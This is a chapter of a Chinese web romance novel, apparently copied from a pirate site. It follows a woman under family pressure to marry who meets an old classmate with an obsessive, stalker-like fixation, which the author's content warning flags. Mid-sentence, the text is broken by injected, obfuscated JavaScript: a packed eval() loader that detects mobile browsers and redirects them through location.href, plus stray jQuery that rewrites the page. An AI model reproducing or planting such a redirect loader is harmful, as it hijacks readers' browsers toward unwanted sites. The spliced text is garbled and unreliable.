【排雷必看】
①男主有☆瘾,又坏又爱演,阴湿痴汉bt属性,平等辱骂除妻子以外的所有人。老婆跑后会发疯,不好这口慎入!!
②泰国改装车合法+有F1赛道,所以背景在曼谷。私设多,架空别联系现实。
③xp甜文,夫妻绝配,闹别扭也是情趣!磕不到请在免费章就安静弃文,切勿虐恋/指导。祝观文愉快
****
《新婚厚爱》
雀尔/晋江文学城首发
修文频繁,会有剧情增减。盗文勿扰,请支持正版。
第一章
「对你的欲望,像生长在东南亚的雨季苔藓。在厚重阴影里不断蔓延,潮湿、晦暗、不见天光。」
**
还没到饭点,人均百块的台南卤肉饭餐厅里,只有零星几桌人闲坐着。洗手间的水龙头冲水声,几乎盖住了外面在放的音乐声。
谈柠把手无意识地放在水龙头下冲洗,另一只手将手机放在耳边,终于听到对面接通了电话。
“厍淳哥?”她连忙关掉自来水,“你出什么事了吗?为什么昨天一直不回复我?”
“不好意思。”男人声音有些速醉后的嘶哑,“前一天晚上在酒局上喝多了。”
他没有要深入解释,道歉也肉眼可见的不诚心。
谈柠抑制住不满,小声质问:“可是我们明明说好了,昨天该在我家见一面的。因为你没来,我爸爸以为我只是在拿你当借口,他们今天——”
“咳,柠柠。”
电话那头有杂声,他打断她,语速也变快,似乎有急事处理,急着结束对话。
“民政局的预约是周五上午对吗?我会来的,至于谈叔那儿,等我忙完这些事就去补上那些礼数。”
“……”
还没听到她的回答,通话已经挂断。
谈柠呆滞了两秒钟,抬头看向镜子里的影像,一时竟不知道该露出什么表情才能表达此时的心情。
这个“未婚夫”是自己临时选的。
两人无关感情,只有利益,因此倒也没有失望这类多余的情绪。
只是厍淳长她三岁,平时也是个行事稳妥的人。都答应好了见家长,居然毫无预兆地失约。
她选好的未婚夫没来,家里的长辈自然坐不住,又给她安排了一个。
“去年你考研,备考了一年也没考上,不想去找工作也没关系,今年就继续考吧。”
后妈当时嘴上是这样说的。
但失去“还是学生”的借口,没多久,后妈就给她拿来一沓适婚男性的照片资料。
“平时不是闷在房间就是去图书馆,也要适当交交朋友啊。柠柠,别怪阿姨多嘴,你也不小了啊,过完年就23岁……别到时候书没读上,个人感情也没个着落,得给弟弟妹妹做个好榜样。”
这个是叫徐什么来着?
唉,刚才也没认真听他说话。
谈柠擦干净手上的水,回到那张摆了两杯饮品和几份甜点的餐桌上。
**
平心而论,这位徐先生是这一年来最年轻的一位相亲对象,只比她大四岁。他穿白衬衫和西装长裤,面相端正,身材外形还算无功无过。
唯一不足就是脸比之前照片上看的圆润了点。
据他刚才羞涩一笑,解释的是:“在国电这两年的伙食太好了,比大学那会儿增了点肉,不过最近有在健身房办卡。”
谈柠相过几次亲后,已经学会抓住他们在三言两语间必定会暴露的优势关键词。比如身高差不多一米八,坐骑是宝马……
这位则是国企电气部门。
是大众眼里的“上岸了”、“工作稳定”、“待遇优厚”。
在榕城这个二线城市来说,算是相当不错的条件。
谈柠是在半路上被拦住的,穿着打扮都素净,低头看见对面锃亮的皮鞋:“太突然了,我不知道你今天会来。”
“是邹伯母说你去市立图书馆了,我家就在这附近,就想着不如凑巧碰个运气。我们都是年轻人,别把相亲弄得太传统古板。”徐先生的视线从她鼓鼓的帆布包那扫下来,“你今年准备得怎么样?”
问得很直接,甚至不用铺垫从哪知道的她去年考研失利。
“我多打听了几句,听邹伯母说你去年是复试被刷了?”徐先生纳闷,“一般来说,初试过了,复试不都稳的吗?而且你还是考的本校。”
又是邹伯母说。
谈柠面无表情地想:那她亲爱的后妈为什么从来不提,她根本没来得及考完复试。
因为那天邹丽突发急性肠胃炎,家里又煤气泄露,那天早上只有她在。
但这些也确实没什么好解释的,大家只看结果。
她的少言寡语并不影响相亲对象的表达欲。
在他对“当初如何考公逆袭”的心态经验夸夸其谈时,阴霾密布的天空响下一道惊雷,餐厅天花板上的灯亮起。
“如果你今年也没考上,明年不如试试先拿个中小职的教师资格证?一直待在家里也无聊。”
徐先生手指放在桌面上,轻慢地敲了敲,“邹伯母说你自小就懂事听话,对学生应该也会很有耐心。”
眼前的女孩穿着一身普通的加绒卫衣和牛仔裤,遮盖该有的身材曲线。长发随意绾在脑后,面容干净姣好,眼眸清亮。
帆布包里还装着书本读物,确实简单又得体。
谈柠听着他给的片面评价和人生建议,张了张嘴:“我的确想当老师,所以还想继续读研,教大学会轻松点。”
“想当老师”这几个字像点燃了一把相亲市场的火。
谈柠明显感觉到对方的兴趣更甚。
“那倒也是,教师是很吃香的,去大学从助教做起也不错。”他话头又一转,“不过,我对全职主妇也没意见。我爸妈的意思是希望我除夕那天能领个女朋友回去。他们盼着我成家,房子都买好了。我也想尽孝,静候女主人和小孩……”
听到“小孩”二字,谈柠本能地捂住了不属于他的小腹。
两个第一次见的异性陌生人。
她还在拘谨着思考怎么拒绝才会不伤人情,可他却旁若无人地觊觎起了她婚后的生育功能。
看来她的个人条件和家庭背景,在对方眼里都很一般。所以才得不到哪怕只是虚与委蛇的表面尊重。
上苍有眼,一道吊儿郎当的嗤笑声打断了这里的臆想。
——“长成这样还敢来和她相亲,你真没家教。”
“……”
椅背上突然覆盖了一条健硕的手臂,没碰到她,却环绕着她肩身,像是把她拢在怀里。
她头顶的灯光就这样被一道高大挺拔的身影完全挡住。真是很宽的肩膀,看上去有些名贵的机械腕表,那几根手指也修长骨感。
谈柠错愕地转头,看着男生精致的下颔折叠角度和喉线。
他没有回视她,长睫低敛,仍旧在审视对面:“你长得像我吃过的猪肉投胎成人来复仇了。”
赏心悦目的一张脸,可是那张嘴好会冒犯人。
不过谈柠听得莫名很爽。
她怎么没有这样精准的语言攻势呢。
那位徐先生显然也被骂得愣住了。呆了几秒后,他扯了扯领带,压着火气问:“不是,你谁啊?”
眼神又瞥向谈柠,似乎在找她要个说法。
她也还在震惊中,没给他反应,脑海里在快速思索这号人物是从哪儿蹿出来的。
又听见上方懒洋洋地传来一句:“不知道她的追求者都排队排到法国了?下一个是我,你还不走吗?”
“你……你也是被喊来和她相亲的?”徐先生顿时有点恼怒,直接问罪,“谈柠,你们家里人怎么能这样!”
谈柠缓过神:“可是我也不懂,我家人为什么会把我今天的行踪透露给你。你不也是不请自来吗?”
徐先生沉着脸,上下打量着她此时表现出来的尖锐态度。最终还是什么话都没说,拿起手机就要起身。
“徐先生。”
男人冷呵一声:“不用挽留,我想我们之间没必要再谈下去。”
“不是想挽留。”谈柠学着他方才敲桌子的手势,轻叩两下。抬眼,轻声说,“但这顿是AA,请你别忘了结账。”
“……”
与此同时,搭着她椅背的那个人也早已站直。
男人之间果然还是要对比的,从穿着风格到配饰的价格对比,徐先生的身量和气势都在这一瞬间矮了半个头。
怒瞪他们一眼后,他被迫绕路,走向了收银柜台。
榕城靠海,11月的气温也不冷。只是外面的雷雨声更大了,这间餐厅始终没多少客人。
谈柠看着空缺的位置又被人占下,是身后那个男生。
正面相对,她终于看清楚他的外貌。
他穿着半高领黑色打底衫,长袖挽至青筋凸现的小臂,从结实胸膛和手臂肌线那都能看出时常锻炼的痕迹。
明明染着高调招眼的金棕发色,却依旧盖不住立体深邃的五官。狭长的眼尾处,有颗小小的泪痣。
嘴虽然刻薄,却不是常见的薄唇,反而十分饱满红润。
谈柠很少把漂亮和英俊这两个形容词,都放在同一个异性身上。
她低头,抿了口果汁:“你不是邹阿姨给我安排的相亲对象吧?”
上过班和没上过班的人很好分辨,他的气质看着和自己的年龄更相仿。她也没有在之前那一沓照片里见过这张脸。
更别说,他有着一头在家长那“不合格”的黄毛。
男生始终笑盈盈地望着她,手掌托着脸:“谈柠对我一点印象都没有了吗?我可是一眼就认出你了。”
听到他这么说,谈柠才敢不确定地问:“沈峤白?”
对了,是这道声音。
字正腔圆地喊着他的名字,又带着一点惯有的温柔调,平和淡然。
沈峤白放在膝上的那只手缓慢攥紧拳,周身血液快速涌动,指尖微微发麻。可他不动声色,只是笑着盯住她。
谈柠只觉得他目光灼热,有些好奇:“你真的是沈峤白?”
心跳在她关切的语气下加速,他需要开口呼吸才能遏制这份兴奋:“是我,我变了很多吗?”
“还好啦。”
上一次见面近乎是七年前了,他们那时才刚上高中。他那张脸是等比例放大的,但身材更健壮,并且……
谈柠望着他善意的笑容,也不由自主地弯唇:“你好像比以前活泼了很多。”
过于张扬,也很爱笑了。
不知道是不是她的错觉,她总觉得他的口音都有些许变化。比正常语速更慢,还有些说不上来的粘黏、慵懒。
沈峤白歪歪头,贪婪的目光直勾勾挪近:“谈柠也比以前内敛了很多。”
这句话,好像只有妈妈和多年好友才说过。
“也许人长大了,就是会变的。”谈柠微微收敛了唇角的弧度,“你……”
听出她的迟疑,沈峤白适当给出鼓励:“想问什么。”
她看了眼身后,原本是他坐的那张空桌:“你是一个人来吃饭的?”
“是,在这碰上你,好有缘。”沈峤白挪开眼前碍事的杯子,“你急着结婚吗?”
“……”
好直白。
谈柠简略地澄清:“我已经有结婚对象了,但我家里人想让我再挑挑。”
头发是柑橘气味,唇瓣看着真柔软,说话的时候能看见她小小整齐的牙齿。如果把舌头用力抵进去会怎么样?真想深到她的喉咙里听听她的声音。
这双黑白分明的眼睛会一下就掉泪吗?
沈峤白一心二用,神色如常地看着她,只有舌尖难忍地轻磨了一下牙侧:“那你,算是在背着你的未婚夫相亲?”
“……不,这是个误会。”谈柠一时也不知道要怎么和半生不熟的人解释,“我得回去和他们说一下。”
相亲遇见奇葩是常态,但遇见多年不见的一个老同学算意外。不过她那年只在那所小镇中学待了一年不到,和他的交情也极浅。
她不健谈,看了眼外面停了的暴雨:“时间不早了。”
沈峤白伸手,两根长指摁在她手机边角处:“可以留个联系方式吗?我很多年没回来了,没有其他熟悉的人。”
谈柠:“你之前都没回过榕城吗?”
“嗯,我高一退学之后就去泰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113934|195887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国生活了。”
她眼睛睁大了些:“泰国?”
“我已经在曼谷定居,这次也只是回来待几天。”他眉峰挑高了些,眯眼笑,“谈柠以后和我常联系吧?毕竟,从前也只有你会理我啊。”
所以,她不会拒绝他的。
**
谈柠的确没有拒绝交换号码。
与其说在那遇到沈峤白很巧,不如说他在泰国更是巧成天书。因为她在两周之后,也要去往泰国。
不过并非旅游,而是读研。
谈柠的本科在京州中医药大学就读,是中医专业的针灸推拿方向。考研失利的第二年,也就是在今年夏天,就开始被家里催婚。
她没有经济能力,在这一年多的全身心备考中,也深刻清楚了手心向上的日子有多不好过。
无心再二战,打算先投简历找工作时,本该要收她入门的导师——阮教授发来信息,问她考不考虑出国留学。
Prof·阮蔷:【你应该也知道,我的博士学位就是在玛希隆大学拿的。我可以给你写推荐信,你去申请玛希隆的MSc in Physical Therapy(物理治疗理学硕士)】
谈柠搜索了这所大学和相关资料。
确实是泰兰德的顶尖大学,理疗科也是top级别。全英文授课,2年学制,以她的GPA去申请,完全没问题。
东南亚留学水平含量虽然不如欧美,但在亚洲也足够作为就业跳板。
在此之前,谈柠从来没想过还有这一条路可走。
只是医学相关的理疗科一年学费至少要6-8万,她不确定能否和谈父开这个口。
谈家是重组家庭,家里顶多算不愁吃喝的小康。但家有继母、还生了一对小她三岁的双胞胎弟妹,都在读大学。谈柠的日子过得并不富余,本科期间还会打打零工。
她想了几个晚上,想起祖父母生前给她准备的嫁妆:一套小公寓。
想要法定继承过户,律师说得完成遗嘱里的必要条件:结婚后才能过户登记。
那是老人的心意,是给她婚后的保障。
事以密成,这次在尘埃落定前,她没把留学计划告诉家里任何人。
在弄材料公证和语言成绩时,继母她们只以为她还在为了12月20号的考研初试做准备。
直到上个月底,她收到了玛希隆大学的offer。
一切就绪,就等把学费补交上就能办好学签了。
大学四年,她没谈过恋爱,在异性相处里总属于回避性的那个。
突然间要找个结婚对象,在被好友发来“杀妻”、“家暴”等骇人听闻的婚变新闻里,她挑了一个还算安全的男人。
厍淳,在职律师。
厍母和谈柠母亲的娘家相邻,俩家人也算相识数十年。
厍淳只在大学有过一段恋爱史,因家里不同意分手。这几年醉心工作,同样承接着被家长催婚的压力。
也许是知道厍母一定会对谈柠满意。
所以在她提出这个有些荒诞的要求后,厍淳居然答应了和她结婚。
**
回到家势必要因相亲事故被训一顿,谈柠庆幸家里那对双胞胎还没放寒假,不能在这时煽风点火。
“你实在不愿意,可以和阿姨商量,怎么能雇个人来让人家下不来台?传出去多不好听。”
继母邹丽讲话总是绵里藏针:“前些天还扬言说要和厍家那孩子结婚,但人也没来。你别怪阿姨说话直,你厍叔当个小官,现在对儿媳妇的眼界高着呢!”
“在家里撒撒小谎就算了,可别往外说。”
“我没有撒谎,周五我们会去领证。厍淳哥最近忙完就会来家里一趟。”谈柠看向坐在沙发上保持沉默的谈父,“爸,等过两天,律师会联系您公寓过户。”
谈父这才放下手里的报纸,不解地看她:“你小时候很乖的,到底谁教你的这些?闪个婚就急着分家产了,还想去留学,泰国那种小地方有什么好学校!”
“那不是家产,是爷爷给我的遗产。别的不用操心,反正您之前也没管过。”
谈柠要回房间,没忍住回嘴一句:“我小时候,又不知道自己是在被欺负。”
客厅气压极低。
传来谈父踹茶几的声音。
门关上前,还能听见继母在劝慰:“消消气。女孩子读这么多书就是这样,性子都读倔了,还以为家里人要害她!”
**
真是漫长疲惫的一天。
谈柠洗过澡,躺在床上放空大脑。
屏幕亮了几下,她才注意到手机里多了几条未读消息。
白:【谈柠,你在那家餐厅有没有遗漏什么东西?】
白:【不回我,是还没到家?】
白:【好吧,我捡到了你落在椅子上的花生玩偶挂件,好像是挂在你包上的。】
白:【谈柠的玩偶也好可爱。】
白:【OVO】
白:【什么时候拿给你呢,明天可以和柠见面吗?】
谈柠:“……”
号码是泰国的,备注也是沈峤白拿着她手机敲下的。也许是图方便,他只敲了一个最简单的字。
他没有微信,一直在发短信。
一个颜文字也单独发,跟话费不要钱似的。
他其实长了一张不容易被忘记的脸,哪怕多年不见,她也能很快喊出了他的名字。
记忆里的少年鼻梁和眉骨都很高,眼窝深邃,总是留着遮盖眉眼的碎发。每次抬头和她对视上,都会立刻警惕古怪地挪开视线。
一副生人勿近的自闭模样。
谈柠看着满屏幕的消息,他什么时候变得这么……外向了?
看向自己放在书桌上的包,她确认那只限量版jellycat真的丢失了,迟疑地打下一行字:【明天下午有空吗?我来找你拿吧。】
很快收到回复。
白:【有空哦。】
白:【我住在市中心那家五星级酒店,顶楼1号套房。】
**
「柠依然不擅长拒绝。
她第一次想要结婚的男人不是我。
是个撞了好运的贱人。」